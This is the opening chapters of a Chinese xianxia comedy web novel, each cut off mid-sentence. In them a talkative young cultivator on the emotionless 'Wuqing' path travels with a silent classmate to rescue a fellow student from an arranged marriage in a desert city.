《风月无情道》 1. 第 1 章 《风月无情道》全本免费阅读 金陵城,城主府。 夜色深深,万籁俱寂,少城主的房中却依旧亮着灯。解弘坐在桌边,双手抱头,脸色苍白,干涸脱皮的双唇微微颤抖:“少城主饶命,属下真的……不行了。” “不行?”少年的声音在他头顶响起,语气里带着不加掩饰的失望:“你这便受不住了?” 解弘眼睛一闭,心一横:“少城主,属下的嘴都要起水泡了!求求您放过属下吧!” “是你自己口口声声说今夜一定会满足我的。”少年笑了声,“怎么,想赖账?” 解弘懊悔不已,绝望哀求:“我找其他人来伺候您,行吗?” 少年想也不想:“不行。” 少年的凉薄无情让堂堂八尺男儿的解弘险些哭出声:“两个时辰了……您已经折腾我折腾了两个时辰啊!” “两个时辰很多吗?我在那个鬼地方待了一年。”少年望向窗外,“弘哥,你知道这一年我是怎么过的吗。” 解弘破罐子破摔,声泪俱下地控诉:“即便如此,您也不能因为您在无情道院没人和您闲聊,一回家就逮着我们狂聊吧!我连我后背上有几颗痣都告诉了您,您还要我和您聊什么啊!” 少年忽然不说话了。解弘等了半晌,不由心生疑惑,抬头朝少年看去。 只见金陵城少城主贺兰熹一袭红衣,坐在莹莹烛光中,长发有些散乱地垂落于胸口,领口露出一节雪白的锁骨,神色麻木,双眼无神,宛若一副等待他人作画的空白画卷。 “少城主?”解弘小心翼翼地开口,“您没事吧?” 贺兰熹神色无波无澜,镇定的语气拿捏得十分到位:“我能有什么事?不就是修个无情道吗,不就是我的道友们各个都是惜字如金的高冷怪,就连无情道院的狗一年都叫不了三次吗?我能有什么事。” 一年前,贺兰熹去太华宗求学,被号称要收尽天下美人的合欢道院一眼看中。贺兰熹本人的性格也和合欢道院相契合,贺兰家人人都以为他会进入合欢道院修行,谁想竟被无情道院截了胡。 太华宗十一位院长分别为贺兰熹测了灵根和灵脉,得出的结论出奇的一致:贺兰熹是百年难得一遇的,修无情道的奇才。 消息传入金陵贺兰府时,全府都傻眼了。 贺兰夫人的反应最是激烈:“——什么道?我儿子三岁在我怀里一口一个‘娘亲抱抱’和‘娘亲我好喜欢你’,五岁就会给好看的小女孩送小糖人,现在你告诉我他适合修无情道?”贺兰夫人大手一挥,自欺欺人地微笑着:“不可能,绝对不可能!” 鉴于太华宗声名在外,乃三界第一仙宗,无情道院又是太华宗十二院之首,贺兰夫人在取得贺兰熹的同意后,还是含泪将儿子送上了太华山。 修无情道者,除了讲究天资灵根,更重要的是心性。他们从不向外人施舍一分一毫的真情,对凡人的七情六欲拥有绝对的控制和克制。 而贺兰熹,无疑是无情道院唯一的例外。 正月,太华宗给门内弟子放了半月长假,准许他们回家过年。贺兰熹在家的几日,从他娘亲聊到他三姨婆,从金陵七修士聊到街上杀猪的屠夫,逢人必聊,每次至少聊个一炷香的时间,势必要把过去一年的闲聊全补上。 今天,该轮到金陵七修士之一的解弘“侍聊”了。 贺兰熹瞥了解弘一眼,道:“罢了,你能陪我聊一时,也不能陪我聊一年。” 解弘满怀愧疚,却无法反驳。上元节一过,少城主就要回太华宗了,自己又不能跟着去,到时候少城主还是要憋上一整年。 解弘想了想,问:“少城主,您那两个道友,真的除了‘嗯’不会说别的吗?” 贺兰熹微微一笑:“嗯。” 解弘无奈劝道:“少城主,话不能这么说。有道是,有志者事竟成。只要您平时多主动和他们说说话,我相信……” 解弘愚蠢且天真的话语听得贺兰熹想笑。这时候,府中一名侍女匆匆而来,敲响房门:“少城主,有人来府上找您,说是您的道友。” 贺兰熹以为自己听错了:“我的……什么?” “您的道友。”侍女耐心地重复,“现下,他正在前厅等您呢。” 贺兰熹转向解弘,满脸茫然。 他的道友?和他一起修无情道的道友? 无情道虽为太华宗众院之首,人数却在十二道院中稳居末位。一年前的弟子大选,隔壁太善道招了三十六人,只要绝世美人的合欢道也招了十二人,而他们无情道只收了区区三人。 贺兰熹的两个道友和他不一样,乃修炼无情道的绝佳人选。三人同窗一年,说过的话还不如他在家中一个时辰说得多。贺兰熹坚信,哪怕自己在无情道院脱光了学狗叫,那两人都不会多看他一眼。 大过年的,他的哪个道友会千里迢迢来到金陵城找他?就凭他们之间聊胜无于的同窗情谊,总不至于是来拜年的吧。 “所以,一定是出事了。”贺兰熹当机立断,起身道:“我马上就去。” 解弘见贺兰熹表情认真,自不敢怠慢,连忙打开房门,道:“少主,我同您一起去!” 贺兰熹说了声“好”,飞快地走进里屋,眨眼间就没见了人影。 解弘维持着开门的姿势,和侍女面面相觑。少城主口中的“马上就去”,好像和他们理解的不一样? 半炷香的时间过去了,解弘左看右盼,贺兰熹迟迟没有现身。就当他准备进去催一催时,里屋终于有了动静。 解弘张口道:“少城……?”看着朝自己缓步而来的少年,解弘目瞪口呆,最后的“主”字在他喉咙里卡得死死的。 只看贺兰熹换上了无情道指定的胜雪白衣,方才胡乱披散的长发已用发冠整齐地束起,全身上下纤尘不染,眼中无欲无求,仿佛只剩下了黑白两色。 贺兰熹对发愣的解弘道:“你不是要和我一起吗?走啊。” 解弘如梦初醒,跟在贺兰熹身后道:“少城主,您穿无情道的校服当真 2. 第 2 章 《风月无情道》全本免费阅读 贺兰熹原计划在家过完上元节再回太华宗,如今突生变故,年才过了一半他就不得不提前离家,他功课都还没有做完。 为了赶时间,贺兰熹将换洗衣物,随身用具,以及书本胡乱塞进灵囊,最后非常又有先见之明地拿了一大堆传音符。 夜已深,贺兰夫人尚在熟睡。贺兰熹不欲吵醒娘亲,只留书一封,和解弘等人告别后,冒着夜色离家远行。 两个白衣少年走在空无一人的大街上,双眼直视前方,谁都没有给对方过多的眼神,端的就是一个不近人情,冷若冰霜。 贺兰熹用余光悄悄瞥向宋玄机,对方安静行走的姿态过于冷漠端庄,面无表情的脸仿佛冰霜雕刻而成一般。 自己是为了修无情道被迫清心寡欲,可宋玄机倒是真清冷淡薄,真无欲无求。 说起来,同窗一载,这还是他第一次与宋玄机独处。他,宋玄机,祝如霜三人虽为同窗,却和形同陌路没太大的区别。如果一定要说,他和祝如霜的关系勉强算得上可以。 祝如霜好歹偶尔会和他主动说话,他回家过年那天,祝如霜甚至和他说了一句“来年再见”。宋玄机如果哪天主动和他开口,那八成是被夺舍了,剩下两成则是走火入魔。 贺兰熹深谙此道,不得不率先询问:“祝如霜,人在何处。” 宋玄机道:“西洲。” 贺兰熹:“我们御剑去?” 宋玄机:“嗯。” 话说,两人各自召出佩剑,踏剑而上,于月色中向西而行。 根据太华宗的宗规,入门弟子第二年才能获取自己的本命剑。贺兰熹现在的佩剑乃是贺兰夫人亲自为他挑选的名剑,名为【载星月】。 宋玄机不爱看人,却爱看剑,此时目光也在【载星月】上多停留了片刻。 这无疑是一把好剑,通体没有过多的装饰,剑身在夜幕中流转着淡淡星月之光,贺兰熹置身其上,宛若一朵萦绕在银河间轻盈的云。 西洲,亦有砂城的别称,整座城池被无垠的沙丘环绕,烈日终年炙烤着大地,连隆冬季节也不例外。而金陵地处中原,两者之间的距离哪怕是御剑而行也需一日。 越靠近西洲,日头明显大了起来。贺兰熹和他那惜字如金的道友一路无言地飞了大半天,眼神逐渐放空,思绪逐渐飘远。由于实在太过无聊,贺兰熹只能靠在脑子里构思自己如果是一个市井平民将如何成为金陵城首富的故事打发时间。 贺兰熹刚构思到他通过开布庄承包太华宗的校服大赚一笔,西洲已然近在眼前。 此时天色已晚,两人落地后,贺兰熹提议先找一家客栈投宿,明日再去找祝如霜,宋玄机应了声好。 深夜,贺兰熹坐在桌前,闭上眼深吸一口气,而后从灵囊中拿出了一本《九州胜览》。 太华宗弟子需要学习的科目众多,贺兰熹入学不过一年,已经修了数十种科目。其中,他最讨厌的科目莫过于只能死记硬背的《九州史》。 在太华宗时,只要是上《九州史》的课,老师五句话之内,他必定开始神游。《九州胜览》是《九州史》中的一个分支,主要讲述九州全境的地形千百年来的变化,光是那密密麻麻一堆生涩难记的地名看一眼就能把贺兰熹看懵。 贺兰熹打开《九州胜览》执笔思索,从心平气和,到双眼迷茫,再到丢笔趴桌,最后闭目装死,一共只用了半炷香的时间。 就在他极力压制撕书发疯的冲动时,一个熟悉的声音在他耳畔响起:“熹儿?” 贺兰熹猛然抬头,抽出一张千里传音符,匆匆离开房间,寻到一个无人的隐蔽角落使用:“娘亲?” “哎。”贺兰夫人语带埋怨,“你怎么一声不吭地就走了?不是说好了正月初七要祭祖么。” “宗门有事情要办,我有什么办法。”一听到亲娘的声音,贺兰熹忽然悲从中来:“娘,你以为我想这么快就离家吗?我道友一日整整十二个时辰,就和我说了四个字——四个字啊娘,其中还包括一个‘嗯’和一个‘好’!你能想象和你一同赏花游街的姐妹一日只和你说四个字吗!” 贺兰夫人惭愧:“我确实不能。” “这也就算了,类似的事情我早已习惯。”贺兰熹越说越难受,几乎是声泪俱下:“可我和宋玄机才赶完路,好不容易在西洲见到点人气了,我却不能出去和别人说话。你知道为什么吗?因为我要补功课!” 贺兰夫人忍俊不禁:“噗——” 贺兰熹痛苦掩面:“为什么非要我学《九州史》……我真的对几百几千年前发生的事情不感兴趣,能不能放过我……” “哎呀,这不是你自己选的路么。”贺兰夫人既心疼又好笑,“入学之前,我是怎么和你说的?这无情道,你想修便修,不想修便不修,哪怕你一辈子只做一个修为低微,甚至没有修为的普通人,为娘也不会嫌弃你。” 贺兰熹忿忿道:“你说的倒轻松。” 那可是太华宗的无情道院,所有修士的崇尚之地,他既然被选中了,岂有不修之理? 贺兰夫人宽慰儿子:“如果你确实修不下去了,要退学也不是不可以。” 贺兰熹难以置信道:“娘,你怎么能撺掇我退学呢!有你这样的亲娘吗?” “唉,你不是不想修无情道么。” “我是不想修,但我必须修。” “好好好,你修你修。你道友不和你说话,为娘和你说……” 贺兰熹和贺兰夫人倒了一肚子苦水,一日的抑郁一扫而空,心情也舒畅了不少。然而,当他回到房间,看到宋玄机站在桌前正垂眸看他的功课时,立即舒畅不起来了。 贺兰熹一张玉容刷地沉下,语气冷漠:“不会敲门?” “会,”宋玄机朝门的方向看了眼,“但你关门了么。” 贺兰熹:“……”他出去的时候好像是急了点,没有关门。 房门大敞着,显然是被人急匆匆地打开了,而无情道之人做事向来不急不缓,若非遭遇了什么大事鲜少有匆忙之态。宋玄机看到后或许是以为他出了什么意外,这才进屋查看的。 贺兰熹理亏地抿了抿唇,用公事公办的口吻说:“找我何事。” 宋玄机道:“院长传音,明日午时,有人前来接应,你我在客栈中坐等即可。” 贺兰熹问:“谁?” 宋玄机道:“未曾言明。” 很好,不愧是他们能少说绝不多说的院长大 3. 第 3 章 《风月无情道》全本免费阅读 太华宗十二道院的道心各有不同。无情道院讲究冷情冷心,断绝情欲,混天道院则推崇弱肉强食,能者上位。 无情道院和混天道院关系十分一般,或者说,无情道院和其他十一道院的关系都非常一般。贺兰熹没有想到,院长口中的接应之人竟会是混天道院的弟子。 对此,长孙策是这么解释的:“西洲是我长孙家的地盘,你们院的人在我家的地盘出了事,江院长第一反应当然是向我混天道院求助。无咎真君见你们江院长心急如焚,这才勉为其难命我前来助你们一臂之力。” 贺兰熹静静地看着长孙策吹牛,心道你快拉倒吧,我家院长还“心急如焚”呢,别说只是祝如霜一人出事,哪怕整个太华山要塌了,我们全没了,江院长也不会“心急如焚”好吗。 据他对院长们的了解,事情的真相大概是这样的:无咎真君不知道怎么听说了无情道院弟子出事的事情,死皮赖脸地缠着江院长,强行要求助无情道院一臂之力。江院长为了让无咎真君离自己远点,勉为其难点了头,允许混天道院跑来掺和一脚。 贺兰熹看破不说破,坐在他身边的宋玄机也没有理会长孙策的胡言乱语。长孙策的视线来回在他们身上逡巡:“你们怎么不说话?” 贺兰熹面不改色:“哦。” 宋玄机神色淡然:“嗯。” 长孙策哽了一下:“总之,看在大家出自同门的份上,这等举手之劳我帮帮你们也没什么。” 宋玄机面不改色:“哦。” 贺兰熹神色淡然:“嗯。” 长孙策握着茶杯的手猛地一紧,杯身随之裂出一条蜿蜒的细缝,他皮笑肉不笑道:“你们不问问祝云到底发生什么事了吗?” 贺兰熹看着长孙策,意思是我们不问你就不说了吗。 长孙策:“……”他真是吃饱了撑着没事干才会放着好好的年不过,跑来帮两个无情道的忙。 一开始,长孙策得知无情道院有求于自己,兴奋得绕自家校场跑了三圈。要知道,十一道院受无情道院的打击和折磨已久,大家都想找个机会力压无情道院一头。就说去年一同拜入宗门的百余人中,无情道院一共三人,年终考核时愣是把头三名全占了,这谁受得了? 混天道院弟子各个争强好胜,长孙策更是其中佼佼者。只要帮了贺兰熹和宋玄机这个忙,无情道院就算欠他一个人情,日后他在无情道院不说能横着走,至少能进去参观一眼吧! 为了将来能扬眉吐气,长孙策闭眼深吸一口气,强压暴躁,试图给予两个无情道最大的耐心:“行行行,我自己说我自己说,事情是这样的——” 西洲一处名为赤璋堂的地方,专门用于消息的买卖。只要有银子,就可以在赤璋堂发布悬赏,悬赏任务包括不限于送信跑腿,寻物寻人,甚至是……夺物杀人。只要完成任务,即可获得对应的悬赏奖金。 数日前,西洲林氏在赤璋堂发布了一条悬赏令——林家商队穿越茫茫沙漠之时,不幸遭遇了沙尘暴,林家小公子林澹不慎与大部队分离,之后便没有了踪迹。 林家曾多次派人深入沙漠寻找林小公子的下落,却始终不见其踪影。无奈之下,林家便在赤璋堂发布了寻找林澹的悬赏令。 “这林家虽然不是什么修仙大族,但世代经商,有钱得要命。”长孙策抛起一粒花生米,用嘴接住后一边咀嚼一边道:“你们知道林家给这条悬赏令设下了多少两银子吗?” 贺兰熹和宋玄机一言不发,只默默看着他。 长孙策用手指比了个数:“没想到吧!” 贺兰熹:“想到了。” 你都强调人家有钱了,语气还那么夸张,这想不到才有鬼了。 长孙策狐疑地看了贺兰熹一眼,冷哼一声,继续道:“那么多钱足够让很多人豁出性命。一时之间,无数人争相哄抢林家的悬赏令,但你们绝对想不到最后鹿死谁手!” 宋玄机:“祝如霜。” “???”长孙策一粒花生米卡在喉咙里差点噎死,一阵猛咳后道:“不是,你又是怎么知道的?!” 要不是他们无情道人从不为外事所动,贺兰熹肯定要送长孙策一个同情傻子般的眼神。 大哥,整个故事的主角不就是祝如霜吗,除了他还能有谁啊!就这还混天道院的得意门生,不禁让人怀疑混天道选人的标准是不是……太不全面了。 宋玄机问:“祝如霜是哪里人。” 长孙策人生第一次被宋玄机主动搭话,愣了一下才说:“这我哪知道,我又不是他同院道友。” 贺兰熹答:“祝如霜乃广陵人氏。” 贺兰熹说完才后知后觉他应该只说“广陵”二字才对,这回合他对宋玄机说的话又比宋玄机对他说的又多了一个字,这让他有点不平衡。 “广陵不是离西洲很远吗。祝云千里迢迢跑来西洲,就为了接一道悬赏令?”长孙策纳闷道,“太华宗一共就放假那么几天,我功课都做不完,祝云哪里有时间干别的。还是说,你们无情道院的功课比混天道院少?” 贺兰熹看着长孙策,漠然道:“你也曾言,‘那么多钱足够让很多人豁出性命’。” 对钱完全没有概念的西洲小霸王有些困惑:“什么意思?祝云很缺钱吗?” 贺兰熹犹豫须臾,轻轻“嗯”了声。他原本不预备将此事告知其他两人,但现在祝如霜已走火入魔,他们三人若想查清此事的前因后果,线索理应共享。 宋玄机看向贺兰熹:“你为何知道此事。” 贺兰熹心中叹气,当然是因为我曾经想过和你们做朋友啊,高冷怪们。 当初,得知与自己一同入无情道院的还有另外两个同龄少年时,贺兰熹对未来修道之路的恐惧忽然被冲散了——原来受苦受难不止他一个人! 兴奋之余,他还央求娘亲为他打听未来道友的喜好。 他知道祝如霜家中的难处,也知道祝如霜唯一的亲人身患恶疾,每日需要依靠昂贵的药材续命。 他知道宋玄机的生辰,也知道宋玄机在未辟谷之前喜欢吃甜食。 入学的前一天,他逛遍整座金陵城,亲自为两位素未谋面的道友精心挑选了药材和甜甜的糕点。 可那又有什么用呢,他在入无情道院的第一天,在还没见到两个道友的时候,就被一位师兄没收了药材和糕点。 4. 第 4 章 《风月无情道》全本免费阅读 贺兰熹和宋玄机走出客栈时,长孙策居然还没走,似乎是打算一直跟着他们。 贺兰熹用最为简洁的言语告知长孙策,接下来的事交给我们无情道院自己人去办就好,你回去歇着吧。为了表示对你提供消息的感谢,等我做完《九州史》的功课,可以考虑给你参考一下。 长孙策臭着一张脸表示:说什么屁话呢,万一你们背着我把事情闹大,我西洲少主的脸面往哪搁?我有责任盯着你们。再说了,是我们院长让我助你们一臂之力,师命不可违知不知道。 贺兰熹想问他,你要求我们帮你做功课的时候,有想起过“师命不可违”吗? 稍后,三人一同来到了林家大宅。 林家家大业大,所修府邸自然也是雕梁画栋,美轮美奂。普通凡人虽不能像修仙者一样千年百岁,但若能像林家一般一辈子锦衣玉食尽享奢华,那肯定是上辈子没少积德。 祝如霜和林澹大婚在即,林宅上下一片喜气洋洋,随处可见高挂的红绸和大红的喜字。贺兰熹和宋玄机一袭白衣,格格不入地站在大门口,长孙策则充当两人临时的嘴,敲门向林家说明来意。 长孙策一旦自报家门,西洲全境无人敢怠慢。很快,三人就被恭恭敬敬地请了进去。 穿过九转回廊,三人来到一处凉亭前。坐在凉亭中等待他们的却不是祝如霜,而是一位看似弱不经风的少年公子。 此人即是即将和祝如霜成婚的林家小公子,林澹。 林澹貌似有病缠身,面色苍白如纸,瘦削的肩膀仿佛连一件外衣都挂不住。他看到贺兰熹与宋玄机,明显错愕了一瞬,被身旁的侍从提醒过后才起身行礼:“两位仙长,便是我哥哥的道友?” 长孙策主动替无情道们回答:“是是是,他们就是。” 贺兰熹在林澹身上没有察觉到能让人走火入魔的不祥气息,乍看之下确实是个普通人。宋玄机目光淡淡地掠过林澹,问:“祝如霜在何处。” 宋玄机语气平淡,却令林澹畏缩了一下,险些没有站稳。他似乎很怕宋玄机,在侍从的搀扶下强撑着身体,脸色煞白道:“哥哥他……马上就来。”林澹顿了顿,鼓起勇气:“仙长,你们是来带他走的吗?” 长孙策再次发声:“不然呢?林小公子,你是不是不知道祝云是什么人啊。” 林澹无声地攥紧指尖,露出一个我见犹怜的虚弱浅笑:“哥哥不会跟你们走的。他答应过我,他会为了我留下来。” 长孙策还要代表无情道院发声,贺兰熹立刻给了他一个“无关人员请闭嘴”的眼神。 “我们不带他走,”贺兰熹说,“我们来喝喜酒。” 长孙策“咦”了一声,奇道:“你还压上韵了。” 贺兰熹绷着脸,险些破功笑出声。 不可以,除了非必要不说话,不苟言笑也是无情道院传统艺能之一。 林澹倏地一愣,刚要开口,一个沉静的声音从不远处传来:“林澹。” 几人循声看去,来者正是贺兰熹和宋玄机共同的道友,祝如霜。 长孙策看着三个白衣少年同框的画面,心情不由复杂了起来。 只看宋玄机皎如明月,冰肌玉体;贺兰熹容色无双,金风玉露。而祝如霜虽然不像浔熹二人有着让人一眼错愕的美貌,他气质却是清雅淡然,犹如雨中青竹般清俊挺拔,自有一番风骨。 无情道院选人当真只看心性和资质,不看脸的吗,这三人都把合欢道的小色鬼们馋成什么样了。长孙策甚至一度怀疑,合欢道院长就是为了伺机接盘无情道三美,才把自家道院搬到了无情道院隔壁。 贺兰熹凝视着祝如霜的眼睛,对方眼神清明,神态也是无情道院特有的淡漠,并无走火入魔之相。 林澹对着祝如霜唤道:“哥哥。” 祝如霜没有应声。他看向贺兰熹,问:“你们来此地,所为何事。” 这还用问?祝哥你是不是傻了。 贺兰熹道:“你心知肚明。” 祝如霜:“若如我所想,请回。” 宋玄机:“为何如此。” 祝如霜:“与你二人无关。” 贺兰熹:“我们同为道友。” 祝如霜:“日后未必。” 贺兰熹:“可有苦衷。” 祝如霜:“无。” 宋玄机:“走火入魔?” 祝如霜:“没有。” 贺兰熹:“你道心何在?!” 祝如霜:“……请回。” 长孙策的脑袋在三人之间转来转去,人都转晕了话还没听懂,终于忍无可忍:“我去你们姥姥的,都给我好好说话!” 说时迟,那时快,长孙策突然从怀中掏出一物,猝不及防地朝三人掷去。 宋玄机反应迅速,立刻抬手将贺兰熹护在身后,两人动作如出一撤地后退了半步。贺兰熹的脸颊不慎擦过宋玄机的肩膀,刹那间,他竟被眼前微微晃动的华贵金簪吸引了全部的视线,大脑出现了短暂的空白。 这好像是同窗一年来,宋玄机离他最近的一次。 长孙策掷出的东西滚落在地上,发出一阵清脆的响声。那是一个白色瓷瓶,里面缓缓流出了某种不知名的,呛鼻的鲜红液体。 贺兰熹回过神,一句“你有病啊什么鬼东西”差点脱口而出,话到嘴边又及时改口:“解释?” 祝如霜低头看着那鲜红的诡异液体,问:“何物。” “话多多辣椒水。”长孙策这才发现自己好像冲动了点,他觉得自己可能要被三个无情道群殴了,但他决不能输了气势:“据说无论是谁,只要一闻到这个味道,话就会比平时多一倍,我为了你们斥巨资收购的。行了,你们继续说吧。” 宋玄机:“……” 祝如霜:“……” 贺兰熹:“!!!” 不是,长孙策受不了高冷怪,喷宋玄机和祝如霜就够了,喷他干嘛?长孙策要是喜欢听他说话,他陪他聊个三天三夜都不带喘的好吗! 他真的,他冤死了。 贺兰熹不露辞色地暗中观察两个道友的神色。祝如霜似乎有被长孙策愚蠢的行径稍稍惊讶到,表情出现了短暂的凝滞;而宋玄机则一如既往的冷淡,眉眼之间如聚霜雪,旁人完全看不出来他在想什么。 如果这个什么辣椒水真的管用,他岂不是可以和他的道友们进行一场正常人之间的对话了? 贺兰熹有些发愁。这可怎么办,他是很想多说几句了,但两个真惜字如金的人还是不说话,那他是不是最好也闭上嘴?毕竟就凭长孙策的脑子,买到真药的可能性应该不大。 过了一会儿,祝如霜率先开口了。他对林澹说:“你先回房休息。” 林澹惊慌失措地睁大了眼睛:“为什么?我想留下。哥哥,你有什么话是我不能听的吗?” 祝如霜:“……没有。” 林澹牵起祝如霜的手,哀求道:“既是没有,我为何不能留下?” 祝如霜:“……随你。” 长孙策蹲下身,用手指蘸了点辣椒水放在鼻口细闻,狐疑道:“这到底有没有用,我怎么一点感觉都没有。” 贺兰熹快憋不住了。要是祝如霜真的成了亲,肯定不会再回太华宗,到时候无情道院就他和宋玄机两个同届弟子。宗门道院有任何需要组队完成的功课,他都要和宋玄机一起,每天生活在宋玄机的“嗯”和“哦”之中…… 祝如霜好歹会和他说“来年再见”,宋玄机却只会跟他说他把“坚冰”听成了“煎饼”。 ——祝如霜不能退学!不能退学啊! 思及此,贺兰熹破罐子破摔,直截了当地问祝如霜:“所以,你并非走火入魔,也没有受人胁迫,是自愿和林澹成亲的吗?” 长孙策猛地抬头望向贺兰熹,眼中满满的惊喜:“来了来了,要来了!” 祝如霜迟疑一瞬,点了点头:“是。若你们不信,尽管来探。” 贺兰熹走至祝如霜跟前,放出 5.第 5 章 《风月无情道》全本免费阅读 祝如霜所赠请帖上显示的地方正是林澹当日走失的沙漠,祝如霜定然是在那里遭遇了什么,才不得不跟着林澹回林府,甚至同意和林澹成亲。 林府究竟是什么来头,竟然逼得祝如霜要用这等隐秘的方式向他们传达线索。当时他们四人同在一处,祝如霜却始终不肯直言真相,是为了避着林澹?那个看似弱不禁风的少年身上到底有什么秘密。 为今之计,沙漠自然要去,林府也要派人盯着,以防祝如霜在里面遭遇什么不测。 贺兰熹和宋玄机回到客栈,预备稍作休整,明日天一亮启程。长孙策在西洲有家不回,也在客栈要了一间上房,就在贺兰熹隔壁,这便给了贺兰熹下手的绝佳机会。 月黑风高,客栈房间的灯一盏接着一盏熄灭。贺兰熹确定隔壁没有动静了,下床来到墙边,面朝长孙策房间的方向简单施了一个隔墙取物术。 墙壁凭空出现了一个空洞,一个白色的瓷瓶穿越空洞,从长孙策房中径直飞进贺兰熹手中,这正是白日长孙策对他们使用过的,话多多辣椒水。 贺兰熹的《丹药学》学得很不错,每次考核都能独占鳌头。一般灵丹药水,只要他稍加鼓捣,一定能找到其中奥妙。 贺兰熹披上外衣,坐于灯下,对着那瓶辣椒水反复端详,认真钻研,又翻出自己的《丹药大全·中级》仔细对照,最终断定:这就是普通的辣椒水。 很好,不愧是你,长孙经略,又被骗了。混天道前途堪忧啊。 可那个时候祝如霜和宋玄机的话确实比平时多了不少,这又如何解释? 贺兰熹越想越觉得不对劲,甚至有了一个过于离谱的猜想。 难不成,为了修无情道被迫惜字如金的人……不止他一个?大家都和他一样,为了修行刻意压制了自己的本性? 他想象了一下宋玄机和祝如霜滔滔不绝口若悬河的模样,头皮一阵发麻。 翌日,天际初亮,睡梦中的贺兰熹忽然被一阵猿猴般的嚎叫惊醒。他猛地睁开眼睛,只听嚎叫声连续不断地从楼下传来,中气十足,甚是难听。 “——贺兰熹!出来!” 是长孙策的声音。长孙策一大清早叫魂一般地喊他名字,莫不是遭遇什么意外了? 贺兰熹顿觉不好,伸手召来【载星月】,也顾不上无情道人应有的端庄仪态,直接踏窗而出,手握长剑飞身向下。 客栈大门口,长孙策深吸一口气,双手拢在嘴旁,正欲再叫,一抹胜雪白衣轻盈地落在他面前。 来人拂袖映着朝云,及腰的长发随晨风而动,半遮于发丝下的脸庞纯净如白羽,手中出鞘的长剑流淌着淡淡华光。 长孙策愣愣地望着贺兰熹,仿佛不认识他一般,神色竟有一丝错愕:“你……贺兰熹?!” 贺兰熹眉目清明,警惕地看向四周,没有看到邪祟之类的东西,倒瞧见了宋玄机。 他那无情道友依旧是那副不染世俗的模样,面色微冷,逆着朝阳孤身而立,拒人于千里之外的冷感逼得人不得不暂时忽视他过人的容貌。 贺兰熹看看长孙策,又看看宋玄机,有些疑惑:“何事。” 长孙策如梦初醒,垂首挠了挠头,张嘴时又结巴了起来:“没、没事。” 贺兰熹:“……”没事?没事你叫那么大声干嘛,招魂呐。 宋玄机平静地看着他,眼底毫无情绪波动:“为何不束发。” 因为我担心你们出事了着急啊,笨。“忘了。”贺兰熹冷冷道,“可是要启程?” “啊……对对对。”长孙策总算恢复了正常,撩起衣摆擦了把汗:“咱们提前出发,说不定还能赶上摩洛驿站的早市呢,早市上的煎饼堪称西洲一绝,你们一定要尝尝!” 贺兰熹这才注意到长孙策已经脱光了上衣围在腰间,小麦色结实的胸膛上布满汗水,他看着都替长孙策热。 去沙漠一事的确事不宜迟,贺兰熹也想早点查出真相:“稍等。” 贺兰熹转身朝客栈大门走去,听见长孙策用自以为很小的声音对宋玄机道:“贺兰熹为什么会被分入无情道院啊?他长成那样,不应该去合欢道院吗?对了对了,我听说,当日分院之时,合欢道院长因为没抢到贺兰熹差点和你们江院长提剑相见,这是真的吗?宋浔?宋玄机?你吱一声啊,你听到我说话了吗。” 宋玄机:“……” 长孙策这话不似平时一般阴阳怪气,听着像是有几分真心。贺兰熹没有吭声,内心叹气。 是啊是啊,他也想问他为什么适合修无情道,他怀疑这大概会入选太华宗十大未解之谜之一吧。 贺兰熹再下楼时,已是长发束起,衣冠楚楚。他看见宋玄机与长孙策面对面坐在桌边,桌上放着一本《九州胜览》。长孙策的目光在宋玄机和《九州胜览》来回流连,脸上写满了纠结和犹豫。 贺兰熹不明所以。这两人在干嘛呢? 长孙策咬了咬牙,语气艰涩:“就算你给我抄……给我借鉴《九州史》的功课,我也……” 不等长孙策说完,宋玄机又拿出一幅卷轴放在了长孙策眼皮底子下。长孙策打开卷轴,被一列《论与灵兽双修十之危害》闪瞎了眼。 他们《异兽论》的假期功课,就近来逐渐在修仙界盛行的修士和自己灵兽双修之现象,写一篇不少于千字的文章。直至目前,长孙策一个字都没动。 长孙策盯着那副卷轴,嘴巴张了又合,合了又张,最后猛地一甩头,狠下心道:“功课我可以自己做。我告诉你,宋浔,你少用这些来诱惑我,这回我跟定你们了,你别想赶走我!” 宋玄机余光看见贺兰熹正朝他们的方向走来,轻一挥手,桌上又多了一本《机关要学》。 长孙策一个激灵,身体不受脑子控制地往桌上一扑,将三门功课抱了个满怀:“那什么,贺兰熹不是说林府那边还需要人手吗?我留下替你们盯着林澹和祝云,沙漠之行有你和贺兰熹足够了。” 宋玄机站起身,对走来的贺兰熹道:“启程。” 贺兰熹:“长孙经略不去?” 宋玄机:“嗯。” 贺兰熹心情复杂地跟着宋玄机出了客栈。 他虽然欣赏不了长孙策的脑子,但有个话多的人一路同行至少能排解旅途的寂寞。现在好了,他又要和宋玄机独处,他那个如何从一介平民成为金陵首富的故事又可以被迫继续了,上次好像是到他靠卖太华宗校服大赚一比的情节来着。 “别忘了我帮了你们多大的忙!”长孙策在两人身后嚷嚷着强调,“你们无情道院欠我的——欠我的!” 贺兰熹忍了又忍,还是没忍住,略微加快脚步凑到宋玄机身旁,问:“不想与长孙经略同行?” 宋玄机侧眸瞥他一眼:“是。” 贺兰熹问:“为何?” 宋玄机收回目光,目视前方,淡道:“吵。” 贺兰熹不开心了,心道嫌弃话多的人是吧,你厉害,你清高。 宋玄机稍作停顿,又补充了一个理由:“而且,他尚未辟谷。” 这个理由贺兰熹倒是接受度良好。 混天道院对弟子辟谷与否的要求不高,你要是乐意,十年八年不辟谷都没人管。哪像他们无情道院,入院后首先要做的两件事就是非必要不说话和辟谷。 沙漠之中环境恶劣,饮食难寻,像长孙策那样未辟谷的人想要进去,一般都会在沙漠入口的驿站做好万全的准备。 摩洛驿站便是其中最大的一个驿站。贺兰熹和宋玄机到达摩洛驿站时,长孙策心心念念的早市刚开市不久。往来商队络绎不绝,街道两侧摊位林立,进入沙漠所需物资应有尽有。 贺兰熹很快便瞧见了长孙策念叨过的煎饼,饼皮金黄酥脆,散发着诱人浓郁的麦香。若是宋玄机不在他身边,他定要买一个尝尝。 贺兰熹正想着,袖摆忽然被拽了一下。他低头一看,竟是一个六七岁左右的小男孩。 那孩子衣衫褴褛,瘦得吓人,一手拽着他的衣服一手挎着一个花篮,扬起的脸蛋脏兮兮的:“仙、仙长,要不要买花?” 男孩的声音怯生生的,似乎鼓尽了勇气才问出这么一句。他花篮里的花色彩斑斓,形 6.第 6 章 《风月无情道》全本免费阅读 起初,贺兰熹以为沙粒的流动是风的缘故,但弹指之间,沙粒的“呼吸”骤然加重,大地开始震颤,沙丘之下似乎有某种庞然大物正在蠢蠢欲动。 狂风席卷天地,一株株生长旺盛的百岁兰在漩涡中被撕成碎片,呼啸的风声仿佛成了它们凄厉的哀鸣。 